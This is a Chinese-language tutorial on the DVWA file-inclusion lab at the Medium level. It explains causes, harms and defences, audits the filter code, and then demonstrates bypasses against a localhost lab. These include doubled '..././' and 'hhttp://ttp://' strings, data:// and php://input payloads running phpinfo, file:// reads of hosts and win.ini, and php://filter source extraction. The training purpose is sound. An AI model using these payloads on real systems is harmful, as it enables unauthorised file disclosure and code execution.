目录
一、文件包含
1、原因
2、危害
3、防范措施
二、代码审计(Medium级别)
1、渗透准备
(1)配置php.ini
(2)file1.php
(3)file2.php
(4)file3.php
2、源码分析
(1)index.php
(2)include.php
(3)Medium.php
3、渗透思路
三、渗透实战
1、访问file4.php(成功)
2、访问敏感文件win.ini(双写渗透成功)
3、获取敏感信息hosts(双写渗透成功)
4、访问phpinfo(双写渗透成功)
5、data伪协议(成功)
6、php://input伪协议(成功)
7、file伪协议(成功)
8、php://filter伪协议(成功)
9、远程包含http协议(双写渗透成功)
本系列为通过《DVWA靶场通关笔记》的文件包含关卡(low,medium,high,impossible共4关)渗透集合,通过对相应关卡源码的代码审计找到讲解渗透原理并进行渗透实践,本文为文件包含Medium关卡的渗透部分。
一、文件包含
文件包含是一种严重的安全威胁,攻击者可以通过构造恶意文件路径,诱导服务器包含并执行恶意文件。
1、原因
文件包含安全风险的本质是程序在动态加载文件时,由于直接信任并使用了未经验证的用户输入作为文件路径参数,使得攻击者能够通过构造恶意路径(如../../../etc/passwd或远程URL)突破预期的文件访问范围,从而非法读取敏感文件或执行任意代码。具体原因如下所示。
分类 | 具体原因 | 描述 |
---|---|---|
程序设计缺陷 | 未验证用户输入 | 开发者未对用户提供的文件路径参数进行严格过滤和验证 |
动态包含机制 | 使用变量动态构建文件包含路径,如include($_GET['page']) | |
配置问题 | PHP配置不当 | allow_url_include 和allow_url_fopen 设置为On |
服务器配置宽松 | Web服务器未设置适当的访问权限限制 | |
开发习惯 | 使用相对路径 | 依赖相对路径包含文件,易受路径遍历攻击 |
硬编码不充分 | 未使用固定的基础目录限制文件包含范围 |
2、危害
危害类型 | 详细描述 |
---|---|
代码执行 | 攻击者可包含恶意 PHP 文件,执行任意代码,如修改网站页面内容、删除重要文件、添加恶意脚本等,破坏网站的正常功能和数据。 |
数据泄露 | 通过包含敏感文件,如数据库配置文件(包含数据库用户名、密码等)、用户信息文件等,获取网站的敏感信息,导致数据泄露,危害用户隐私和网站安全。 |
权限提升 | 利用文件包含安全风险,攻击者可能获取更高权限,如获取系统管理员权限,进一步控制服务器,进行更恶意的操作,如安装后门程序、篡改系统设置等。 |
网站挂马 | 包含恶意脚本文件,在网站页面中插入恶意代码,当用户访问网站时,可能导致用户计算机感染恶意软件,或者将网站流量导向恶意网站,影响用户体验并可能造成用户的损失。 |
破坏业务逻辑 | 包含恶意文件可能干扰网站的业务逻辑,如干扰用户的身份验证、支付流程等,导致业务流程被破坏,影响网站的正常运营。 |
3、防范措施
文件包含风险是一种严重的安全威胁,开发人员应高度重视并采取有效措施进行防范。
防范措施 | 具体描述 |
---|---|
严格的白名单验证 | 建立严格的白名单,明确允许包含的文件列表。只允许特定的、经过安全评估的文件被包含,拒绝所有其他文件。 |
使用绝对路径 | 在包含文件时,使用绝对路径而不是相对路径。这样可以防止攻击者通过目录遍历风险访问到非预期的文件。 |
输入验证与过滤 | 对用户输入的文件名或文件路径进行严格的验证和过滤。去除任何可能包含目录遍历字符(如../ )或其他恶意字符的内容,防止攻击者构造恶意路径。 |
禁用危险函数或功能 | 根据应用程序的实际需求,禁用一些可能导致文件包含风险的危险函数,如eval() 、include_once() 等,如果必须使用,要确保对传入参数进行严格检查。 |
限制文件类型 | 明确规定允许包含的文件类型,只允许包含特定扩展名的文件,如.php 文件,避免包含其他可能包含恶意代码的文件类型,如.txt 、.html 等,除非有特殊需求并进行了充分的安全评估。 |
服务器配置优化 | 确保服务器的配置正确,限制对文件系统的访问权限。例如,将 Web 服务器的运行权限设置为尽可能低,只给予必要的文件和目录读写权限,防止攻击者利用文件包含风险进行越界访问和操作。 |
安全更新与监控 | 及时更新服务器软件和应用程序框架,以修复可能存在的文件包含风险。同时,建立监控机制,实时监测文件包含操作,发现异常行为及时报警并处理。 |
二、代码审计(Medium级别)
1、渗透准备
配置security为中等Medium级别。
进入到文件包含关卡Medium页面,发现页面有三个链接,分别对应file1.php, file2.php, file3.php,具体如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=include.php
(1)配置php.ini
因为源码include.php会检查 PHP 配置中的 allow_url_include
和 allow_url_fopen
,代码确保了必要的功能已经启用,否则举例如果allow_url_include配置为off,会有如下报错。
修改php.ini文件,开启allow_url_include和allow_url_fopen,切记修改后需要重启小皮的Apache服务,配置效果如下所示。
(2)file1.php
点击file1.php效果如下,显示当前登陆账号和ip地址。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
(3)file2.php
点击file2.php效果如下,传入参数为page=file2.php。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php
(4)file3.php
点击file3.php效果如下,传入参数为page=file3.php。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
2、源码分析
打开靶场的文件包含Medium关,完整URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php
(1)index.php
这段代码的主要目的是展示不同安全级别下的文件包含风险。通过设置不同的安全级别,用户可以观察到不同防护措施下的文件包含行为。代码的核心逻辑是根据用户输入动态包含文件,这在低安全级别下可能导致恶意文件的包含,从而引发安全问题。例如,攻击者可以通过控制 $file 参数(指定不同级别的文件也就是low、medium、high和impossible对应的php文件),诱导服务器包含恶意脚本文件。
这段 PHP 代码是一个用于演示文件包含风险的示例,主要功能是根据用户设置的安全级别,包含并执行不同的 PHP 文件,同时处理用户请求的文件包含操作。以下是代码功能的详细描述:
- 初始化和配置:
- 定义了一个常量 DVWA_WEB_PAGE_TO_ROOT,用于指定网站根目录的相对路径。
- 使用 require_once 引入了 dvwaPage.inc.php 文件,该文件包含了 DVWA 的页面初始化和配置功能。
- 调用 dvwaPageStartup 函数,初始化页面,确保用户已认证,并根据配置加载 PHPIDS
- 页面设置:
- 创建了一个 $page 数组,用于存储页面的标题、页面 ID、帮助按钮和源代码按钮等信息。
- 设置了页面的标题为“Vulnerability: File Inclusion”,并根据 DVWA 的页面结构添加了分隔符和主标题。
- 数据库连接:
- 调用 dvwaDatabaseConnect 函数,连接到数据库,为后续操作提供数据库支持。
- 选择不同级别文件:
- 根据 $_COOKIE['security'] 的值,选择不同安全级别的文件:
- low:包含 low.php 文件。
- medium:包含 medium.php 文件。
- high:包含 high.php 文件。
- 默认:包含 impossible.php 文件。
- 这些文件分别实现了不同安全级别下的文件包含逻辑。
- 根据 $_COOKIE['security'] 的值,选择不同安全级别的文件:
- 文件包含逻辑:
- 如果 $_GET 中存在 $file 参数(代码中注释掉了 $_GET 的检查,实际使用中应检查 $_GET['file']),则包含用户指定的文件。
- 如果没有指定文件,则重定向到 include.php 页面。
- 页面渲染:
- 调用 dvwaHtmlEcho 函数,渲染并输出页面内容。
(2)include.php
这段 PHP 代码是一个用于演示文件包含关卡的示例页面,属于 DVWA(Damn Vulnerable Web Application)项目的一部分。其主要功能是检查 PHP 配置中的相关功能是否启用,并提供一个简单的用户界面,允许用户通过 URL 参数动态包含文件。以下是代码功能的详细描述:
- 检查 PHP 配置:
- 检查 allow_url_include 是否启用:该配置项允许 PHP 的 include 和 require 函数包含远程文件。如果未启用,会生成一个警告信息。
- 检查 allow_url_fopen 是否启用:该配置项允许 PHP 打开远程文件。如果未启用,也会生成一个警告信息。
- 生成警告信息:
- 如果上述任何一个配置项未启用,会生成相应的警告信息,并将其存储在 $WarningHtml 变量中。
- 页面内容构建:
- 构建页面的 HTML 内容,包括:
- 一个标题,显示“Vulnerability: File Inclusion”。
- 显示警告信息(如果有的话)。
- 提供三个可点击的链接,分别指向 file1.php、file2.php 和 file3.php,允许用户通过 URL 参数动态包含这些文件。
- 提供一些关于文件包含额外信息链接,包括维基百科的远程文件包含页面和 OWASP Top 10 2007 的相关页面。
- 构建页面的 HTML 内容,包括:
这段代码的主要目的是展示文件包含的基本原理和潜在风险。通过检查 PHP 配置中的 allow_url_include 和 allow_url_fopen,代码确保了必要的功能已经启用,从而可以进行文件包含操作。如果这些配置项未启用,用户将看到警告信息,提示他们需要启用这些功能才能正常运行代码。
(3)Medium.php
进入DVWA靶场源目录,找到Medium.php源码。
打开源码Medium.php,分析可知这段代码实现了仅有简单验证的不安全的文件包含功能,参数为page,如下所示。
这段 PHP 代码的目的是从用户输入中获取一个文件路径,并对其进行简单的验证,以防止某些类型的文件包含攻击。以下是代码功能的详细描述:
- 获取用户输入:
- 从 $_GET['page'] 中获取用户指定的文件路径。这个值将用于后续的文件包含操作。
- 输入验证:
- 使用 str_replace 函数移除字符串中的 http:// 和 https://。这是为了防止攻击者通过包含远程文件(如 http://malicious.com/badfile.php)来执行恶意代码。
- 使用 str_replace 函数移除字符串中的 ../ 和 ..\"。这是为了防止目录遍历攻击,即攻击者通过包含上级目录的文件(如 ../config.php)来获取敏感信息。
这段代码的主要功能是对用户输入的文件路径进行简单的清理,以减少文件包含攻击的风险。然而,这种清理方式并不足以完全防止文件包含风险。攻击者仍然可以通过其他方式绕过这些简单的过滤措施。例如,攻击者可以使用其他协议(如 file://
)或编码方式来绕过过滤。
<?php
// The page we wish to display
$file = $_GET['page']; // 从 GET 请求中获取 'page' 参数的值,该值将用于指定要包含的文件。
// Input validation
$file = str_replace(array("http://", "https://"), "", $file); // 移除字符串中的 "http://" 和 "https://",防止包含远程文件。
$file = str_replace(array("../", "..\""), "", $file); // 移除字符串中的 "../" 和 "..\",防止目录遍历攻击。
// 代码中缺少文件包含的部分,例如:
// include($file); // 假设这里会包含用户指定的文件。
?>
3、渗透思路
这段PHP代码实现了一个存在安全风险的动态文件包含功能,通过$_GET['page']
接收用户输入的文件名,并尝试包含该文件。虽然代码使用str_replace()
过滤了"http://"、"https://"和路径遍历字符("../", "..")来防止远程文件包含(RFI)和目录遍历攻击(LFI),但这种过滤方式并不安全,容易通过大小写变异、双重编码或特殊字符组合等方式绕过。
- 过滤“http:// 和 https://”,双写绕过:“hhttp://ttp://”和“hhttps://ttps://”
- 过滤了“../ 和 ..\” ,双写绕过:“..././”和“. ..\.\”
三、渗透实战
1、访问file4.php(成功)
进入DVWA靶场的文件包含关卡low级别,基于渗透准备中测试了page为file1.php, file2.php, file3.php, 我们尝试将关卡首页,将page参数改为file4.php,如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
完整的URL地址如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file4.php
如下所示,显示了隐藏内容,提示用户名为admin,安全级别为Medium。
2、访问敏感文件win.ini(双写渗透成功)
黑客计划访问win.ini文件,默认他的位置为c://windows/win.ini。
而当前关卡文件包含index.php源码位置为C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。
故而win.ini相对于low.php的路径为../../../../../../windows/win.ini,基于此文件包含的路径如下所示。
page=../../../../../../windows/win.ini
完整的渗透URL地址如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../../windows/win.ini
使用“..././”替换“../”,完整渗透URL如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/win.ini
如下所示成功访问到win.ini文件,渗透成功。
3、获取敏感信息hosts(双写渗透成功)
接下来将page改为../../../../../../windows/system32/drivers/etc/hosts进行渗透,基于此文件包含的路径如下所示。
page =../../../../../../windows/system32/drivers/etc/hosts进行渗透
完整的渗透URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../windows/system32/drivers/etc/hosts
使用“..././”替换“../”,完整渗透URL如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/system32/drivers/etc/hosts
如下所示,成功访问到c:// windows/system32/drivers/etc/hosts文件,渗透成功。
4、访问phpinfo(双写渗透成功)
在DVWA首页有访问phpinfo的链接,如下图红框所示。
此时的URL地址为http://127.0.0.1/dvwa/phpinfo.php,这说明DVWA靶场的根目录中包含phpinfo.php文件。
http://127.0.0.1/dvwa/phpinfo.php
在C:\phpstudy_pro\WWW\中复制phpinfo.php文件,重命名为phpinfo.txt如下图红框所示。
而当前关卡index.php的源码位置为C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。
故而phpinfo.txt相对于low.php的路径为../../../../../../windows/win.ini,基于此文件包含的路径如下所示。
page=../../../phpinfo. txt
完整的渗透URL地址如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo. txt
使用“..././”替换“../”,完整渗透URL如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././phpinfo.txt
如下所示,成功获取到服务器的php相关信息,渗透成功。
5、data伪协议(成功)
通过data伪协议进行渗透,特别注意参数传递方法为GET方法。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://,<?php phpinfo();?>
如下所示,成功通过data伪协议获取到服务器的phpinfo信息。
6、php://input伪协议(成功)
通过php://input伪协议进行渗透,特别注意参数传递方法为POST方法。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://input
Post参数:<?php phpinfo();?>
如下所示,成功通过php://input伪协议获取到服务器的phpinfo信息。
7、file伪协议(成功)
通过file伪协议获取C:\Windows\System32\drivers\etc\hosts,需要使用文件绝对路径,如下所示。
file:///C:\Windows\System32\drivers\etc\hosts
完整URL地址如下所示,参数为page。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:\Windows\System32\drivers\etc\hosts
如下所示,成功通过file伪协议获取到C:\Windows\System32\drivers\etc\hosts文件的内容。
8、php://filter伪协议(成功)
通过php://filter协议获取源码文件medium.php,使用base64编码的方法来获取,具体的方法为php://filter/read=convert.base64-encode/resource=source/medium.php,完整URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=source/medium.php
如下所示,通过php://filter协议获取medium.php源码成功,页面成功显示medium.php的base64编码。
base64加密后内容如下所示。
PD9waHANCg0KLy8gVGhlIHBhZ2Ugd2Ugd2lzaCB0byBkaXNwbGF5DQokZmlsZSA9ICRfR0VUWyAncGFnZScgXTsNCg0KLy8gSW5wdXQgdmFsaWRhdGlvbg0KJGZpbGUgPSBzdHJfcmVwbGFjZSggYXJyYXkoICJodHRwOi8vIiwgImh0dHBzOi8vIiApLCAiIiwgJGZpbGUgKTsNCiRmaWxlID0gc3RyX3JlcGxhY2UoIGFycmF5KCAiLi4vIiwgIi4uXCIiICksICIiLCAkZmlsZSApOw0KDQo
使用在线base64解码工具,如下所示。
9、远程包含http协议(双写渗透成功)
在3.4部分我们创建的phpinfo.txt放在DVWA靶场的目录中,故而其URL地址如下所示。
http://127.0.0.1/DVWA/phpinfo.txt
使用http协议进行远程文件包含,完整的渗透URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/pikachu/test/phpinfo.txt
使用双写法“hhttp://ttp://”替换“http://”,渗透URL地址变为如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hhttp://ttp://127.0.0.1/pikachu/test/phpinfo.txt
如下所示,通过远程包含渗透成功。